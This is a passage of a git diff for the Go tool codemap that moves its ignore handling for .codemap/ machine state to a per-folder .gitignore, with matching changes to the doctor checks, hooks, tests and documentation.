"github.com/modelcontextprotocol/go-sdk/mcp" "github.com/pelletier/go-toml/v2" @@ -190,47 +191,45 @@ func RunDoctor(args []string, defaultRoot string) int { return 0 } -// doctorCheckLocalCodemapIgnore verifies .codemap/ is ignored in this working -// tree. Git's check-ignore reflects the rules that actually apply, so it is -// the authority: report OK when the directory is ignored and MISS only when -// it genuinely is not, naming the local exclude and a minimal repair hint. +// doctorCheckLocalCodemapIgnore verifies machine state under an in-repo +// .codemap/ is ignored. Git's check-ignore reflects the rules that actually +// apply, so it is the authority. A project never set up has no in-repo state. func doctorCheckLocalCodemapIgnore(root string, failures *int) { - ignored, mechanism, err := gitCheckIgnoreVerbose(root, ignoreEntry) + if !projectpath.IsSetUp(root) { + fmt.Printf("OK local Codemap ignore: not set up; machine state lives in %s\n", projectpath.RuntimeCodemapDir(root)) + return + } + // A path no codemap writes: check-ignore reports tracked files as not ignored. + ignored, mechanism, err := gitCheckIgnoreVerbose(root, ".codemap/machine-state-probe") if err != nil { fmt.Printf("MISS local Codemap ignore: %v\n", err) *failures++ return } if ignored { - fmt.Printf("OK local Codemap ignore: effective via %s\n", mechanism) - return - } - path, _, err := localCodemapIgnore(root) - if err != nil { - fmt.Printf("MISS local Codemap ignore: %v\n", err) - *failures++ + fmt.Printf("OK local Codemap ignore: machine state ignored via %s\n", mechanism) return } - fmt.Printf("MISS local Codemap ignore: %s does not ignore %s; repair with `codemap setup --no-hooks --no-mcp --no-skills --no-config %s`\n", path, ignoreEntry, root) + fmt.Printf("MISS local Codemap ignore: machine state under .codemap/ is not ignored; repair with `codemap setup --no-hooks --no-mcp --no-skills --no-config %s` (writes .codemap/.gitignore)\n", root) *failures++ } -// doctorCheckTrackedCodemapState reports .codemap/ files git already tracks -// (`git ls-files .codemap`): an ignore rule cannot hide those, so they show -// up in every diff until they are removed from the index. +// doctorCheckTrackedCodemapState reports machine-state files git already +// tracks under .codemap/: an ignore rule cannot hide those, so they show up +// in every diff until they are removed from the index. config.json and +// skills/ are meant to be committed and are not reported. func doctorCheckTrackedCodemapState(root string, failures *int) { - tracked, err := gitexclude.TrackedStateFiles(root) - if err != nil { + if _, err := gitexclude.TrackedStateFiles(root); err != nil { fmt.Printf("MISS tracked codemap state: %v\n", err) *failures++ return } - if len(tracked) > 0 { - fmt.Printf("MISS tracked codemap state: %d file(s) under .codemap/ are committed; run: git rm -r --cached .codemap\n", len(tracked)) + if tracked := trackedMachineState(root); len(tracked) > 0 { + fmt.Printf("MISS tracked codemap state: %d machine-state file(s) under .codemap/ are committed (%s); run: %s\n", len(tracked), strings.Join(tracked, ", "), untrackCommand(tracked)) *failures++ return } - fmt.Println("OK tracked codemap state: 0 files under .codemap/ are committed (git ls-files .codemap)") + fmt.Println("OK tracked codemap state: no machine-state files under .codemap/ are committed (git ls-files .codemap)") } func reportCodexRuntimeVersions(cliPath string) bool { diff --git a/cmd/gitignore.go b/cmd/gitignore.go index 0859ebf1..60c8b997 100644 --- a/cmd/gitignore.go +++ b/cmd/gitignore.go @@ -3,39 +3,66 @@ package cmd import ( "fmt" "io" + "os" "path/filepath" "strings" "codemap/internal/gitexclude" + "codemap/internal/projectpath" ) // ignoreEntry keeps the runtime-state directory out of git. The trailing // slash scopes the rule to the directory. const ignoreEntry = gitexclude.Entry -// reportEnsureIgnored ensures .codemap/ is ignored for root and reports the -// outcome to w (notice, warning, or nothing). +// reportEnsureIgnored ensures the project's .codemap/ carries its own +// .gitignore (machine state ignored, config.json and skills/ committable) and +// reports the outcome to w (notice, warning, or nothing). func reportEnsureIgnored(w io.Writer, root string) { - wrote, err := ensureCodemapIgnored(root) + dir := projectpath.CodemapDir(root) + if _, err := os.Stat(dir); err != nil { + return + } + wrote, err := gitexclude.EnsureStateIgnore(dir) if err != nil { - fmt.Fprintf(w, "Warning: could not update ignore rules: %v\n", err) + fmt.Fprintf(w, "Warning: could not write %s: %v\n", filepath.Join(dir, ".gitignore"), err) return } - if wrote == "" { + if wrote { + fmt.Fprintln(w, "Wrote .codemap/.gitignore (machine state ignored; config.json and skills/ can be committed)") + } + reportTrackedState(w, root) +} + +// reportTrackedState names machine-state files git already tracks under +// .codemap/ (an ignore rule cannot untrack them) and the command that would. +// It prints only; it never runs git rm. +func reportTrackedState(w io.Writer, root string) { + tracked := trackedMachineState(root) + if len(tracked) == 0 { return } - rel := wrote - if r, relErr := filepath.Rel(root, wrote); relErr == nil && !strings.HasPrefix(r, "..") { - rel = r + fmt.Fprintf(w, "%d codemap machine-state file(s) are committed; untrack them with:\n %s\n", len(tracked), untrackCommand(tracked)) +} + +// trackedMachineState is gitexclude.TrackedStateFiles minus the user-authored +// files (config.json, skills/) that are meant to be committed. +func trackedMachineState(root string) []string { + files, err := gitexclude.TrackedStateFiles(root) + if err != nil { + return nil + } + var state []string + for _, f := range files { + if f != ".codemap/config.json" && f != ".codemap/.gitignore" && !strings.HasPrefix(f, ".codemap/skills/") { + state = append(state, f) + } } - fmt.Fprintf(w, "Added %s to %s\n", ignoreEntry, rel) + return state } -// ensureCodemapIgnored ensures .codemap/ is ignored for root by writing -// ignoreEntry to the clone-local info/exclude. It returns the file written, -// or "" when the entry already exists or root is not a git work tree. -func ensureCodemapIgnored(root string) (string, error) { - return gitexclude.EnsureIgnored(root) +func untrackCommand(files []string) string { + return "git rm --cached -- " + strings.Join(files, " ") } // localCodemapIgnore reports whether root's info/exclude already lists diff --git a/cmd/gitignore_test.go b/cmd/gitignore_test.go index 929a4ab0..6c00ea1b 100644 --- a/cmd/gitignore_test.go +++ b/cmd/gitignore_test.go @@ -5,16 +5,16 @@ import ( "os" "os/exec" "path/filepath" - "runtime" "strings" "testing" + + "codemap/internal/gitexclude" ) -func gitIgnoresCodemap(t *testing.T, root string) bool { +// gitIgnoresState reports whether git ignores machine state under .codemap/. +func gitIgnoresState(t *testing.T, root string) bool { t.Helper() - // Trailing slash so the directory-scoped rule matches even though - // .codemap does not exist on disk during the test. - cmd := exec.Command("git", "check-ignore", "-q", ".codemap/") + cmd := exec.Command("git", "check-ignore", "-q", ".codemap/state.json") cmd.Dir = root err := cmd.Run() if err == nil { @@ -34,305 +34,31 @@ func makeGitRepo(t *testing.T) string { return root } -func TestEnsureCodemapIgnored(t *testing.T) { - if _, err := exec.LookPath("git"); err != nil { - t.Skip("git not available") - } - - t.Run("writes to info/exclude and not gitignore", func(t *testing.T) { - root := makeGitRepo(t) - - path, err := ensureCodemapIgnored(root) - if err != nil { - t.Fatalf("ensureCodemapIgnored: %v", err) - } - if !strings.HasSuffix(path, filepath.Join("info", "exclude")) { - t.Fatalf("path = %q, want .git/info/exclude", path) - } - data, err := os.ReadFile(path) - if err != nil { - t.Fatalf("read exclude: %v", err) - } - if !strings.Contains(string(data), ".codemap/") { - t.Fatalf("info/exclude missing .codemap/:\n%s", data) - } - if _, err := os.Stat(filepath.Join(root, ".gitignore")); !os.IsNotExist(err) { - t.Fatal("must not create a tracked .gitignore") - } - if !gitIgnoresCodemap(t, root) { - t.Fatal("git does not ignore .codemap after info/exclude write") - } - }) - - t.Run("no-op when already ignored", func(t *testing.T) { - root := makeGitRepo(t) - exclude, err := infoExcludePath(root) - if err != nil { - t.Fatal(err) - } - if err := os.WriteFile(exclude, []byte("node_modules/\n.codemap/\n"), 0644); err != nil { - t.Fatal(err) - } - before, _ := os.ReadFile(exclude) - - path, err := ensureCodemapIgnored(root) - if err != nil { - t.Fatalf("ensureCodemapIgnored: %v", err) - } - if path != "" { - t.Fatalf("path = %q, want empty (nothing written)", path) - } - after, _ := os.ReadFile(exclude) - if string(before) != string(after) { - t.Fatalf("exclude was modified:\nbefore:\n%s\nafter:\n%s", before, after) - } - }) - - t.Run("records the local rule even when tracked ignore is effective", func(t *testing.T) { - root := makeGitRepo(t) - if err := os.WriteFile(filepath.Join(root, ".gitignore"), []byte(".codemap/\n"), 0644); err != nil { - t.Fatal(err) - } - - path, err := ensureCodemapIgnored(root) - if err != nil { - t.Fatalf("ensureCodemapIgnored: %v", err) - } - if path == "" { - t.Fatal("must record its own entry, not rely on .gitignore") - } - data, err := os.ReadFile(path) - if err != nil { - t.Fatalf("read exclude: %v", err) - } - if !hasIgnoreLine(data, ignoreEntry) { - t.Fatalf("info/exclude missing %q:\n%s", ignoreEntry, data) - } - }) - - t.Run("skips silently when not a git repo", func(t *testing.T) { - root := t.TempDir() - path, err := ensureCodemapIgnored(root) - if err != nil { - t.Fatalf("ensureCodemapIgnored on non-git dir: %v", err) - } - if path != "" { - t.Fatalf("path = %q, want empty for non-git dir", path) - } - if _, err := os.Stat(filepath.Join(root, ".gitignore")); !os.IsNotExist(err) { - t.Fatal("must not create .gitignore outside a git repo") - } - }) -} - -// TestEnsureCodemapIgnoredLocalAppends locks the append path: whatever the -// existing exclude content (line endings, missing final newline, oversized -// lines, other rules), .codemap/ lands on its own line exactly once and the -// existing bytes are preserved. -func TestEnsureCodemapIgnoredLocalAppends(t *testing.T) { - if _, err := exec.LookPath("git"); err != nil { - t.Skip("git not available") - } - longLine := strings.Repeat("x", 70*1024) // beyond bufio.Scanner's 64KiB limit - cases := []struct { - name string - pre string // pre-existing info/exclude content - already bool // pre already lists .codemap/ - }{ - {name: "empty file"}, - {name: "pre-populated entries", pre: "build/\n*.log\n"}, - {name: "no trailing newline", pre: "build/\n*.log"}, - {name: "crlf", pre: "build/\r\n*.log\r\n"}, - {name: "crlf no trailing newline", pre: "build/\r\n*.log"}, - {name: "long first line", pre: longLine + "\n"}, - {name: "already listed after long line", pre: longLine + "\n.codemap/\n", already: true}, - {name: "already listed mid-file", pre: "node_modules/\n.codemap/\n*.log\n", already: true}, - } - for _, tc := range cases { - t.Run(tc.name, func(t *testing.T) { - root := makeGitRepo(t) - exclude, err := infoExcludePath(root) - if err != nil { - t.Fatal(err) - } - if err := os.WriteFile(exclude, []byte(tc.pre), 0644); err != nil { - t.Fatal(err) - } - - path, err := ensureCodemapIgnored(root) - if err != nil { - t.Fatalf("ensureCodemapIgnored: %v", err) - } - if tc.already { - if path != "" { - t.Fatalf("path = %q, want empty (nothing written)", path) - } - data, err := os.ReadFile(exclude) - if err != nil { - t.Fatal(err) - } - if string(data) != tc.pre { - t.Fatalf("exclude changed when entry present:\n%q", data) - } - } else { - if path == "" { - t.Fatal("expected the ignore entry to be written") - } - want := tc.pre - if want != "" && !strings.HasSuffix(want, "\n") { - want += "\n" - } - want += ".codemap/\n" - data, err := os.ReadFile(exclude) - if err != nil { - t.Fatal(err) - } - if string(data) != want { - t.Fatalf("exclude = %q, want %q", data, want) - } - } - if !gitIgnoresCodemap(t, root) { - t.Fatal("git does not ignore .codemap after write") - } - }) - } -} - -func TestReportEnsureIgnored(t *testing.T) { - if runtime.GOOS == "windows" { - t.Skip("windows: temp-dir path assumption, tracked in #214") - } - if _, err := exec.LookPath("git"); err != nil { - t.Skip("git not available") - } - - t.Run("prints notice and writes rule on first run", func(t *testing.T) { - root := makeGitRepo(t) - var buf bytes.Buffer - - reportEnsureIgnored(&buf, root) - - out := buf.String() - if !strings.Contains(out, "Added .codemap/ to .git/info/exclude") { - t.Fatalf("notice missing or malformed:\n%s", out) - } - if !gitIgnoresCodemap(t, root) { - t.Fatal("git does not ignore .codemap after reportEnsureIgnored") - } - }) - - t.Run("prints nothing when already ignored", func(t *testing.T) { - root := makeGitRepo(t) - exclude, err := infoExcludePath(root) - if err != nil { - t.Fatal(err) - } - if err := os.WriteFile(exclude, []byte(".codemap/\n"), 0644); err != nil { - t.Fatal(err) - } - var buf bytes.Buffer - - reportEnsureIgnored(&buf, root) - - if buf.Len() != 0 { - t.Fatalf("expected no output, got:\n%s", buf.String()) - } - }) - - t.Run("prints nothing outside a git repo", func(t *testing.T) { - root := t.TempDir() - var buf bytes.Buffer - - reportEnsureIgnored(&buf, root) - - if buf.Len() != 0 { - t.Fatalf("expected no output for non-git dir, got:\n%s", buf.String()) - } - }) - - // In a linked worktree the shared exclude lives in the main repo, outside - // the worktree root, so the notice must print the absolute path rather - // than an escaping relative one like ../
/.git/info/exclude. - t.Run("prints absolute path for shared exclude in a linked worktree", func(t *testing.T) { - root := makeRepoOnBranch(t, "main") - wt := filepath.Join(t.TempDir(), "wt") - runGitTestCmd(t, root, "worktree", "add", "-b", "wt-branch", wt) - // The shared exclude resolves outside the worktree root (into the main - // repo), so the notice must print that absolute path, not ../
/... - sharedExclude, err := infoExcludePath(wt) - if err != nil { - t.Fatal(err) - } - var buf bytes.Buffer - - reportEnsureIgnored(&buf, wt) - - out := buf.String() - if !strings.Contains(out, "Added .codemap/ to "+sharedExclude) { - t.Fatalf("expected absolute path in notice, got:\n%s", out) - } - if strings.Contains(out, "../") { - t.Fatalf("notice must not print an escaping relative path:\n%s", out) - } - if !gitIgnoresCodemap(t, wt) { - t.Fatal("git does not ignore .codemap in the worktree after reportEnsureIgnored") - } - }) - - // A corrupt local ignore (unreadable, or unwritable) must surface as a - // warning instead of a silent success or a crash. - t.Run("warns when the exclude file cannot be read", func(t *testing.T) { - root := makeGitRepo(t) - exclude, err := infoExcludePath(root) - if err != nil { - t.Fatal(err) - } - if err := os.Remove(exclude); err != nil { - t.Fatal(err) - } - if err := os.MkdirAll(exclude, 0o755); err != nil { - t.Fatal(err) - } - var buf bytes.Buffer - - reportEnsureIgnored(&buf, root) - - if !strings.Contains(buf.String(), "Warning: could not update ignore rules") { - t.Fatalf("expected warning, got:\n%s", buf.String()) - } - }) -} - -func TestEnsureCodemapIgnoredLocalModeIsIdempotent(t *testing.T) { +func TestReportEnsureIgnoredWritesStateIgnoreOnlyWhenSetUp(t *testing.T) { if _, err := exec.LookPath("git"); err != nil { t.Skip("git not available") } root := makeGitRepo(t) - exclude, err := infoExcludePath(root) - if err != nil { - t.Fatal(err) + var out bytes.Buffer + reportEnsureIgnored(&out, root) + if _, err := os.Stat(filepath.Join(root, ".codemap")); !os.IsNotExist(err) { + t.Fatalf("created .codemap/ in a repo that is not set up: %v", err) } - first, err := ensureCodemapIgnored(root) - if err != nil { - t.Fatalf("first ensureCodemapIgnored: %v", err) - } - if first == "" { - t.Fatal("expected the local ignore entry to be written on the first call") - } - second, err := ensureCodemapIgnored(root) - if err != nil { - t.Fatalf("second ensureCodemapIgnored: %v", err) + if err := os.Mkdir(filepath.Join(root, ".codemap"), 0o755); err != nil { + t.Fatal(err) } - if second != "" { - t.Fatalf("second call wrote again (%q); local mode must be idempotent", second) + reportEnsureIgnored(&out, root) + data, err := os.ReadFile(filepath.Join(root, ".codemap", ".gitignore")) + if err != nil || string(data) != gitexclude.StateIgnore { + t.Fatalf(".codemap/.gitignore = %q, %v", data, err) } - data, err := os.ReadFile(exclude) - if err != nil { - t.Fatal(err) + if !strings.Contains(out.String(), "Wrote .codemap/.gitignore") || !gitIgnoresState(t, root) { + t.Fatalf("state not ignored after report:\n%s", out.String()) } - if n := strings.Count(string(data), ".codemap/\n"); n != 1 { - t.Fatalf("exclude has %d .codemap/ entries, want exactly 1:\n%s", n, data) + exclude, _ := os.ReadFile(filepath.Join(root, ".git", "info", "exclude")) + if gitexclude.HasLine(exclude, gitexclude.Entry) { + t.Fatalf("info/exclude gained %s:\n%s", gitexclude.Entry, exclude) } } diff --git a/cmd/hooks.go b/cmd/hooks.go index f8500371..36d95e29 100644 --- a/cmd/hooks.go +++ b/cmd/hooks.go @@ -433,7 +433,6 @@ func hookSessionStart(root string) error { state = waitForDaemonState(root, 2*time.Second) } fileCount, fileCountKnown = configuredStateFileCount(root, state) - EnsureProjectConfig(root) projCfg := config.Load(root) structureBudget := projCfg.SessionStartOutputBytes() maxHubs := projCfg.HubDisplayLimit() @@ -1121,7 +1120,6 @@ func hookPromptSubmit(root string) error { } touchSessionLease(root, sessionIDFromHookInput(input)) - EnsureProjectConfig(root) projCfg := config.Load(root) topK := projCfg.RoutingTopKOrDefault() info := getValidatedHubInfo(root) @@ -1270,19 +1268,16 @@ func showMatchedSkills(root string, intent TaskIntent) { } } -// setupNeedsAttention is config.AssessSetup gated for #224: a directory with -// no .git and no config (such as $HOME) is not a project, so there is nothing -// to set up and the hooks stay quiet instead of telling the agent to write -// .codemap/config.json there on every prompt. +// setupNeedsAttention is config.AssessSetup gated for #224 and #184: a +// project that never ran setup (no .codemap/ directory) is not asked to +// finish it on every prompt; only a set-up project missing its config is. func setupNeedsAttention(root string) (config.SetupAssessment, bool) { assessment := config.AssessSetup(root) if !assessment.NeedsAttention() { return assessment, false } - if assessment.State == config.SetupStateMissing { - if _, err := os.Stat(filepath.Join(root, ".git")); err != nil { - return assessment, false - } + if assessment.State == config.SetupStateMissing && !projectpath.IsSetUp(root) { + return assessment, false } return assessment, true } @@ -1632,7 +1627,7 @@ func hookPreCompact(root string) error { } fmt.Println() - fmt.Printf("๐Ÿ’พ Saved hub state to .codemap/hubs.txt before compact\n") + fmt.Printf("๐Ÿ’พ Saved hub state to %s before compact\n", hubsFile) fmt.Printf(" (%d hub files tracked)\n", len(info.Hubs)) fmt.Println() @@ -1776,7 +1771,7 @@ func hookSessionStopContext(ctx context.Context, root string, out io.Writer) err if err := writeSessionHandoffContext(ctx, root, state); err != nil { return err } - fmt.Fprintln(out, "๐Ÿค Saved handoff to .codemap/handoff.latest.json") + fmt.Fprintln(out, "๐Ÿค Saved handoff to "+handoff.LatestPath(root)) } fmt.Fprintln(out) diff --git a/cmd/hooks_more_test.go b/cmd/hooks_more_test.go index dee31661..41c7d26d 100644 --- a/cmd/hooks_more_test.go +++ b/cmd/hooks_more_test.go @@ -157,6 +157,9 @@ func mustJSONInput(t *testing.T, v any) string { func writeProjectConfig(t *testing.T, root string, cfg config.ProjectConfig) { t.Helper() + if err := os.MkdirAll(filepath.Dir(config.ConfigPath(root)), 0o755); err != nil { + t.Fatal(err) + } if err := os.MkdirAll(projectpath.ProjectRuntimeDir(root), 0o755); err != nil { t.Fatal(err) } @@ -639,11 +642,24 @@ func TestShowConfigSetupHint(t *testing.T) { } }) - t.Run("missing config emits setup hint", func(t *testing.T) { + t.Run("git repo that never ran setup stays quiet", func(t *testing.T) { + // #184: nothing was set up, so there is nothing to finish. root := t.TempDir() if err := os.Mkdir(filepath.Join(root, ".git"), 0o755); err != nil { t.Fatal(err) } + if out := captureOutput(func() { showConfigSetupHint(root) }); strings.TrimSpace(out) != "" { + t.Fatalf("expected no setup hint in an un-set-up repo, got:\n%s", out) + } + }) + + t.Run("set-up repo missing its config emits setup hint", func(t *testing.T) { + root := t.TempDir() + for _, dir := range []string{".git", ".codemap"} { + if err := os.Mkdir(filepath.Join(root, dir), 0o755); err != nil { + t.Fatal(err) + } + } out := captureOutput(func() { showConfigSetupHint(root) }) if !strings.Contains(out, "codemap:config") { t.Fatalf("expected config marker, got:\n%s", out) @@ -1054,8 +1070,11 @@ func TestDaemonCommandHelpersAndMultiRepoShellout(t *testing.T) { root := t.TempDir() repos := []string{"svc-a", "svc-b", "svc-c", "svc-d", "svc-e", "svc-f"} for _, repo := range repos { - if err := os.MkdirAll(filepath.Join(root, repo, ".git"), 0o755); err != nil { - t.Fatal(err) + // Set up but unconfigured, so each child also carries a setup hint. + for _, dir := range []string{".git", ".codemap"} { + if err := os.MkdirAll(filepath.Join(root, repo, dir), 0o755); err != nil { + t.Fatal(err) + } } } withHookRuntimeStubs( @@ -1086,11 +1105,13 @@ func TestDaemonCommandHelpersAndMultiRepoShellout(t *testing.T) { t.Run("multi repo start emits setup hints for child repos needing config", func(t *testing.T) { root := t.TempDir() for _, repo := range []string{"svc-a", "svc-b"} { - // Child repos are git checkouts (findChildRepos requires .git); - // the hint stays quiet for non-repos since #224. - repoPath := filepath.Join(root, repo, ".git") - if err := os.MkdirAll(repoPath, 0o755); err != nil { - t.Fatal(err) + // Child repos are set-up git checkouts (findChildRepos requires + // .git); the hint stays quiet for non-repos (#224) and for repos + // that never ran setup (#184). + for _, dir := range []string{".git", ".codemap"} { + if err := os.MkdirAll(filepath.Join(root, repo, dir), 0o755); err != nil { + t.Fatal(err) + } } } diff --git a/cmd/setup.go b/cmd/setup.go index 7814ebdb..827f6d18 100644 --- a/cmd/setup.go +++ b/cmd/setup.go @@ -280,6 +280,10 @@ func RunSetup(args []string, defaultRoot string) int { } } + // Setup is what marks a project as set up (#184), with or without a config. + if err := os.MkdirAll(projectpath.CodemapDir(absRoot), 0o755); err != nil { + fmt.Fprintf(os.Stderr, "Warning: could not create %s: %v\n", projectpath.CodemapDir(absRoot), err) + } reportEnsureIgnored(os.Stdout, absRoot) if *skipHooks { diff --git a/cmd/setup_review_test.go b/cmd/setup_review_test.go index 3901bf98..ff4d990f 100644 --- a/cmd/setup_review_test.go +++ b/cmd/setup_review_test.go @@ -1,6 +1,7 @@ package cmd import ( + "io" "os" "os/exec" "path/filepath" @@ -569,11 +570,12 @@ func TestRunDoctorReportsLocalCodemapIgnorePresent(t *testing.T) { t.Skip("git not available") } root := makeGitRepo(t) - if _, err := ensureCodemapIgnored(root); err != nil { + if err := os.Mkdir(filepath.Join(root, ".codemap"), 0o755); err != nil { t.Fatal(err) } + reportEnsureIgnored(io.Discard, root) out := captureOutput(func() { RunDoctor([]string{root}, ".") }) - if !strings.Contains(out, "OK local Codemap ignore") { + if !strings.Contains(out, "OK local Codemap ignore: machine state ignored via .codemap/.gitignore") { t.Fatalf("expected OK local-ignore diagnosis, got:\n%s", out) } if strings.Contains(out, "MISS local Codemap ignore") { @@ -592,9 +594,12 @@ func TestRunDoctorReportsOKWhenTrackedIgnoreIsEffective(t *testing.T) { if err := os.WriteFile(filepath.Join(root, ".gitignore"), []byte("node_modules/\n.codemap/\n"), 0o644); err != nil { t.Fatal(err) } + if err := os.Mkdir(filepath.Join(root, ".codemap"), 0o755); err != nil { + t.Fatal(err) + } out := captureOutput(func() { RunDoctor([]string{root}, ".") }) - if !strings.Contains(out, "OK local Codemap ignore: effective via") { + if !strings.Contains(out, "OK local Codemap ignore: machine state ignored via .gitignore:2:.codemap/") { t.Fatalf("expected effective-ignore OK, got:\n%s", out) } if strings.Contains(out, "MISS local Codemap ignore") { @@ -608,8 +613,12 @@ func TestDoctorCheckLocalCodemapIgnoreFailsWhenGitUnavailable(t *testing.T) { if _, err := exec.LookPath("git"); err != nil { t.Skip("git not available") } + root := t.TempDir() + if err := os.Mkdir(filepath.Join(root, ".codemap"), 0o755); err != nil { + t.Fatal(err) + } failures := 0 - out := captureOutput(func() { doctorCheckLocalCodemapIgnore(t.TempDir(), &failures) }) + out := captureOutput(func() { doctorCheckLocalCodemapIgnore(root, &failures) }) if failures != 1 { t.Fatalf("failures = %d, want 1", failures) } @@ -627,21 +636,24 @@ func TestRunDoctorReportsTrackedCodemapState(t *testing.T) { t.Skip("git not available") } root := makeRepoOnBranch(t, "main") - if _, err := ensureCodemapIgnored(root); err != nil { - t.Fatal(err) - } if err := os.MkdirAll(filepath.Join(root, ".codemap"), 0o755); err != nil { t.Fatal(err) } if err := os.WriteFile(filepath.Join(root, ".codemap", "config.json"), []byte("{}\n"), 0o644); err != nil { t.Fatal(err) } + runGitTestCmd(t, root, "add", "-f", ".codemap") + runGitTestCmd(t, root, "-c", "user.name=Test", "-c", "user.email=test@example.com", "commit", "-q", "-m", "commit config") out := captureOutput(func() { RunDoctor([]string{root}, ".") }) - if !strings.Contains(out, "OK tracked codemap state: 0 files under .codemap/ are committed") { - t.Fatalf("expected clean tracked-state line, got:\n%s", out) + if !strings.Contains(out, "OK tracked codemap state: no machine-state files under .codemap/ are committed") { + t.Fatalf("a committed config.json is not machine state, got:\n%s", out) } + // Legacy repo: an older codemap left state.json committed beside config.json. + if err := os.WriteFile(filepath.Join(root, ".codemap", "state.json"), []byte("{}\n"), 0o644); err != nil { + t.Fatal(err) + } runGitTestCmd(t, root, "add", "-f", ".codemap") runGitTestCmd(t, root, "-c", "user.name=Test", "-c", "user.email=test@example.com", "commit", "-q", "-m", "track codemap state") @@ -650,7 +662,11 @@ func TestRunDoctorReportsTrackedCodemapState(t *testing.T) { if code == 0 { t.Fatalf("RunDoctor exit code = 0, want tracked state to fail\n%s", out) } - if !strings.Contains(out, "MISS tracked codemap state: 1 file(s) under .codemap/ are committed; run: git rm -r --cached .codemap") { - t.Fatalf("expected tracked-state diagnosis, got:\n%s", out) + want := "MISS tracked codemap state: 1 machine-state file(s) under .codemap/ are committed (.codemap/state.json); run: git rm --cached -- .codemap/state.json" + if !strings.Contains(out, want) { + t.Fatalf("expected tracked-state diagnosis %q, got:\n%s", want, out) + } + if strings.Contains(out, "git rm --cached -- .codemap/config.json") || strings.Contains(out, "git rm -r") { + t.Fatalf("untrack command must name only machine state:\n%s", out) } } diff --git a/cmd/setup_run_test.go b/cmd/setup_run_test.go index 54ec925e..1cf43d29 100644 --- a/cmd/setup_run_test.go +++ b/cmd/setup_run_test.go @@ -6,6 +6,8 @@ import ( "path/filepath" "strings" "testing" + + "codemap/internal/gitexclude" ) func TestClaudeSettingsPath(t *testing.T) { @@ -197,28 +199,55 @@ func TestRunSetupUsesNearestGitRootFromNestedDirectory(t *testing.T) { } } -func TestRunSetupAddsOnlyLocalCodemapIgnore(t *testing.T) { +// TestRunSetupWritesStateIgnore: setup creates .codemap/.gitignore instead +// of an info/exclude rule, and once a hook writes machine state there, git +// can see only the committable files. +func TestRunSetupWritesStateIgnore(t *testing.T) { if _, err := exec.LookPath("git"); err != nil { t.Skip("git not available") } root := makeGitRepo(t) t.Setenv("HOME", t.TempDir()) + exclude, err := infoExcludePath(root) + if err != nil { + t.Fatal(err) + } + before, _ := os.ReadFile(exclude) out := captureOutput(func() { - RunSetup([]string{"--agent", "codex", "--no-config", "--no-mcp", root}, ".") + RunSetup([]string{"--agent", "codex", "--no-mcp", root}, ".") }) - if !strings.Contains(out, "Added .codemap/ to "+filepath.Join(".git", "info", "exclude")) { - t.Fatalf("expected local-ignore notice, got:\n%s", out) + if !strings.Contains(out, "Wrote .codemap/.gitignore") { + t.Fatalf("expected state-ignore notice, got:\n%s", out) } - exclude, err := infoExcludePath(root) - if err != nil { - t.Fatal(err) + if data, err := os.ReadFile(filepath.Join(root, ".codemap", ".gitignore")); err != nil || string(data) != gitexclude.StateIgnore { + t.Fatalf(".codemap/.gitignore = %q, %v", data, err) } - data, err := os.ReadFile(exclude) - if err != nil || !strings.Contains(string(data), ".codemap/\n") { - t.Fatalf("expected .codemap/ in %s, data=%q, err=%v", exclude, data, err) + if after, _ := os.ReadFile(exclude); string(after) != string(before) { + t.Fatalf("setup changed %s:\n%s", exclude, after) } if _, err := os.Stat(filepath.Join(root, ".gitignore")); !os.IsNotExist(err) { t.Fatalf("setup must not create tracked .gitignore, err=%v", err) } + + withStdinInput(t, `{"tool_input":{"file_path":"main.go"},"session_id":"s"}`, func() { + captureOutput(func() { _ = hookPostEdit(root) }) + }) + if err := hookPreCompact(root); err != nil { + t.Fatal(err) + } + if _, err := os.Stat(filepath.Join(root, ".codemap", "agent_edits.jsonl")); err != nil { + t.Fatalf("post-edit did not record in the set-up repo: %v", err) + } + status := exec.Command("git", "status", "--porcelain", "--untracked-files=all") + status.Dir = root + got, err := status.Output() + if err != nil { + t.Fatal(err) + } + for _, line := range strings.Split(strings.TrimSpace(string(got)), "\n") { + if strings.Contains(line, ".codemap/") && line != "?? .codemap/.gitignore" && line != "?? .codemap/config.json" { + t.Fatalf("machine state visible to git: %q in\n%s", line, got) + } + } } diff --git a/cmd/testmain_test.go b/cmd/testmain_test.go index 146b75c5..16e1a6fe 100644 --- a/cmd/testmain_test.go +++ b/cmd/testmain_test.go @@ -24,6 +24,7 @@ func TestMain(m *testing.M) { os.Exit(1) } os.Setenv("CODEMAP_DAEMON_REGISTRY", dir) + os.Setenv("XDG_CACHE_HOME", dir) // Setup writes Codex config to the user scope by default; keep every test // off the real ~/.codex and ~/.claude even when it forgets to set HOME. for _, name := range []string{"HOME", "USERPROFILE"} { diff --git a/docs/CONFIG.md b/docs/CONFIG.md index 10f57c67..e1214613 100644 --- a/docs/CONFIG.md +++ b/docs/CONFIG.md @@ -11,6 +11,8 @@ codemap config init # auto-detect top extensions, write config codemap config show # display current config ``` +Only `codemap setup`, `codemap config init` and `codemap skill init` create `.codemap/`. Commit `.codemap/config.json` and `.codemap/skills/` if you want to share them; everything else in the folder is machine state, ignored by the folder's own `.gitignore`. A repo with no `.codemap/` runs on the defaults below and keeps its machine state in the user cache directory ([INSTALL.md](INSTALL.md#setup)). + ```json { "only": ["rs", "sh", "sql", "toml", "yml"], diff --git a/docs/HOOKS.md b/docs/HOOKS.md index c0dff29f..71fd5690 100644 --- a/docs/HOOKS.md +++ b/docs/HOOKS.md @@ -38,7 +38,7 @@ codemap setup --global ``` This command: -- creates `.codemap/config.json` when missing +- creates `.codemap/config.json` and `.codemap/.gitignore` when missing (a repo that never ran setup gets no `.codemap/`; see [INSTALL.md](INSTALL.md#setup) for where its state lives) - merges codemap hooks into Claude and Codex settings without removing existing hooks - keeps hook setup idempotent (safe to run more than once) @@ -339,7 +339,7 @@ The `๐Ÿ’ก Suggestions` block prints only for file-specific suggestions from depe The **working set** tracks files you've edited during the current session. It shows edit count, net line delta, and hub status โ€” giving Claude awareness of your active work context. -Edits are attributed by *provenance*, not by disk churn. The `PostToolUse` hook records the paths an agent wrote through its own tool calls into `.codemap/agent_edits.jsonl`, so a branch switch, a build, or a `git` command that touches hundreds of files does not masquerade as work the agent did. When no agent edits have been recorded, the summary says so and falls back to reporting disk activity rather than conflating the two. +Edits are attributed by *provenance*, not by disk churn. The `PostToolUse` hook records the paths an agent wrote through its own tool calls into `agent_edits.jsonl` (in `.codemap/` once the repo is set up, otherwise in the user cache directory), so a branch switch, a build, or a `git` command that touches hundreds of files does not masquerade as work the agent did. When no agent edits have been recorded, the summary says so and falls back to reporting disk activity rather than conflating the two. Provenance depends on the hook 